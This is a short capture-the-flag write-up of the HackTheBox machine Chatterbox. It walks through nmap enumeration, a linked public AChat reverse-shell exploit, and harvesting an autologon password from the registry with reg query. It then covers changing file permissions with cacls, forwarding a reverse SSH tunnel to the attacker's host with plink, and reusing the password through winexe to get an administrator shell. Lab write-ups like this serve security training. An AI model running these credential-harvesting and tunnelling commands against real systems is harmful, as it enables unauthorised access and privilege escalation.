Chatterbox-HTB

Enumeration

Using autorecon:

```
# Nmap 7.94SVN scan initiated Fri Feb 16 16:22:49 2024 as: nmap -vv --reason -Pn -T4 -sV -sC --version-all -A --osscan-guess -p- -oN /home/kali/results/10.10.10.74/scans/_full_tcp_nmap.txt -oX /home/kali/results/10.10.10.74/scans/xml/_full_tcp_nmap.xml 10.10.10.74
Nmap scan report for 10.10.10.74
Host is up, received user-set (0.042s latency).
Scanned at 2024-02-16 16:23:03 IST for 164s
Not shown: 65524 closed tcp ports (reset)
PORT      STATE SERVICE      REASON          VERSION
135/tcp   open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn  syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds syn-ack ttl 127 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp  open  http         syn-ack ttl 127 AChat chat system httpd
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 0B6115FAE5429FEB9A494BEE6B18ABBE
|_http-server-header: AChat
|_http-title: Site doesn't have a title.
9256/tcp  open  achat        syn-ack ttl 127 AChat chat system
49152/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49156/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open  msrpc        syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows 7 or Windows Server 2008 R2 (97%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows Server 2008 SP2 (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows 7 Ultimate SP1 or Windows 8.1 Update 1 (96%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=2/16%OT=135%CT=1%CU=34207%PV=Y%DS=2%DC=T%G=Y%TM=65C
```

```
OS:F3F33%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=I%CI=I%II=I%SS=S
OS:%TS=7)SEQ(SP=108%GCD=1%ISR=10A%TI=I%CI=I%II=I%TS=7)SEQ(SP=108%GCD=1%ISR=
OS:10A%TI=I%CI=I%II=I%SS=S%TS=7)SEQ(SP=108%GCD=2%ISR=10A%TI=I%CI=I%II=I%SS=
OS:S%TS=7)OPS(O1=M53CNW8ST11%O2=M53CNW8ST11%O3=M53CNW8NNT11%O4=M53CNW8ST11%
OS:O5=M53CNW8ST11%O6=M53CST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W
OS:6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M53CNW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=
OS:O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%
OS:DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O
OS:=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80
OS:%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q
OS:=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y
OS:%DFI=N%T=80%CD=Z)

Uptime guess: 0.010 days (since Fri Feb 16 16:11:37 2024)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: Host: CHATTERBOX; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Chatterbox
|   NetBIOS computer name: CHATTERBOX\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2024-02-16T10:55:40-05:00
| smb2-time:
|   date: 2024-02-16T15:55:39
|_  start_date: 2024-02-16T15:41:49
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 38735/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 64190/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 64306/udp): CLEAN (Failed to receive data)
|   Check 4 (port 36506/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h40m00s, deviation: 2h53m14s, median: 4h59m59s

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
```

```
1   42.21 ms 10.10.14.1
2   42.41 ms 10.10.10.74

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Feb 16 16:25:47 2024 -- 1 IP address (1 host up) scanned in 178.13 seconds

```

Exploitation

Using the exploit found here https://github.com/mpgn/AChat-Reverse-TCP-Exploit
we get a shell

```
C:\Windows\system32>whoami
whoami
chatterbox\alfred
```

Now to get root flag: `cacls root.txt /grant Alfred:F`
Checking for passwords:
`reg query HKLM /f password /t REG_SZ /s`

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultPassword    REG_SZ    Welcome1!
```

```
C:\Users\Alfred\Desktop>reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon
    ReportBootOk    REG_SZ    1
    Shell    REG_SZ    explorer.exe
    PreCreateKnownFolders    REG_SZ    {A520A1A4-1780-4FF6-BD18-167343C5AF16}
    Userinit    REG_SZ    C:\Windows\system32\userinit.exe,
    VMApplet    REG_SZ    SystemPropertiesPerformance.exe /pagefile
    AutoRestartShell    REG_DWORD    0x1
    Background    REG_SZ    0 0 0
    CachedLogonsCount    REG_SZ    10
    DebugServerCommand    REG_SZ    no
    ForceUnlockLogon    REG_DWORD    0x0
    LegalNoticeCaption    REG_SZ
    LegalNoticeText    REG_SZ
    PasswordExpiryWarning    REG_DWORD    0x5
    PowerdownAfterShutdown    REG_SZ    0
    ShutdownWithoutLogon    REG_SZ    0
    WinStationsDisabled    REG_SZ    0
    DisableCAD    REG_DWORD    0x1
    scremoveoption    REG_SZ    0
    ShutdownFlags    REG_DWORD    0x11
    DefaultDomainName    REG_SZ
    DefaultUserName    REG_SZ    Alfred
    AutoAdminLogon    REG_SZ    1
    DefaultPassword    REG_SZ    Welcome1!

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\GPExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon\AutoLogonChecked

C:\Users\Alfred\Desktop>
```

Now we use `netstat -ano`

```
  Proto  Local Address          Foreign Address        State           PID
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       664
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING       352
```

Gotta port forward as this is running locally:

`plink.exe -l root -pw toor -R 445:127.0.0.1:445 10.10.14.22 -P 2222`

```
root@kali:~# netstat -ano | grep 445
tcp        0      0 127.0.0.1:445           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp6       0      0 ::1:445                 :::*                    LISTEN      off (0.00/0/0)
unix  3      [ ]         STREAM     CONNECTED     21445    /run/s
ystemd/journal/stdout
unix  3      [ ]         STREAM     CONNECTED     24459    /run/systemd/journal/stdout
root@kali:~#
```

`winexe -U Administrator%Welcome1! //127.0.0.1 "cmd.exe"`

To get a system shell